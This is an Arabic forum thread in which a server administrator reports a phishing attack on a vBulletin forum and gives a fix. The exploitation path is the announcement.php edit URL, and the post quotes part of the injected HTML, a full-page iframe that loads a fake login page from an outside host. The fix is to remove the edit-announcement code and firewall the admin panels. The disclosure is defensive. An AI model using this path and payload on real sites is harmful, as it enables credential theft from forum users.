حالة الموضوع:
مغلق
  1. speeedh

    speeedh Developer

    الأنتساب:
    ‏21 مارس 2012
    المشاركات:
    43
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    6
    [​IMG]

    [​IMG]

    السلام عليكم والرحمة

    اليوم وانا اشيك ع مواقع سيرفري لاحظت مشكلة غريبة في احد المواقع .. المشكلة انه دائماً يسجل الخروج لمن ادخل اي قسم .. )A:"
    وصاحب المنتدى ابلغني بمحاولة اختراق والمشكلة بنفس الوقت .. بحيث قال لي في احد دخل بعضويته ورسل لمشرفة عنده قالها انه يبي باسوورد السيبنل ..

    شيكت ع الكونفيق والملفات .. مافيه اي تغيير .. !! طبعاً انا نظامي ubuntu فما تشتغل عليه باتشات وخرابيط وسوالف ويندوز هع .. دخلت قسم وطلع لي ان فيه محاولة جافا تشتغل ! .. واخذت المصدر ووصلت له واكتشفت ان المنتدى لمن تدخل اي قسم يوديك لصفحة مزورة تطلب اليوزر والباس &:"

    كيف عمل كود تحويل لهذي الصفحة المزورة اللي فيها باتش !! والـ html مايشتغل بالمنتدى !! (( طبعاً لوحة تحكم المشرف محية بجدار ناري ولوحة المشرفين كذلك ))
    اللي اكتشفته أن :
    اكتشفت ان الاعلانات تشغل الـ html .. سرق عضوية ادمن من منتدى ثاني او تخمين ودخل واضاف اعلان من دون دخول للوحة التحكم عن طريق الامتداد التالي :
    /vb/announcement.php?do=edit&f=xxxxx
    xxxxx = رقم القسم

    اضاف العنوان :

    كود PHP:
     <html><head><style>BODY{background-color:  black;}</style></head><body><iframe name='StoRm511'  id='StoRm511' src='http://xxxx.com/sh/index.htm'  style='position:absolute;top:0px;left:0px;width:100%;height:1100px;z-in
    والمحتوى نفس الشي .. !

    المهم نجي لموضوع الترقيع وطريقته :
    ادخل الى ملف الـ /vb/announcement.php
    وابحث عن :

    كود PHP:
    edit an announcement
    حذه الاسطر جميعها التي اسفله إلى ان تصل إلى :

    كود PHP:
    if ($_REQUEST['do'] == 'view')
    ملاحظة تأكد من وجود ايضاً جدار ناري على لوحة تحكم المشرف العام (( وايضاً وبشكل مهم لوحة تحكم المراقبين ))

    دمتم بود وربي يوفقكم ويحميكم )4:"
     
  2. Ĝυēναяα

    Ĝυēναяα Developer

    الأنتساب:
    ‏21 يونيو 2012
    المشاركات:
    102
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:
    18
    الإقامة:
    فلسطين
    رد: ثغرة في نظام الإعلانات + الترقيع

    جزاك الله كل الخير اخى
     
حالة الموضوع:
مغلق

مشاركة هذه الصفحة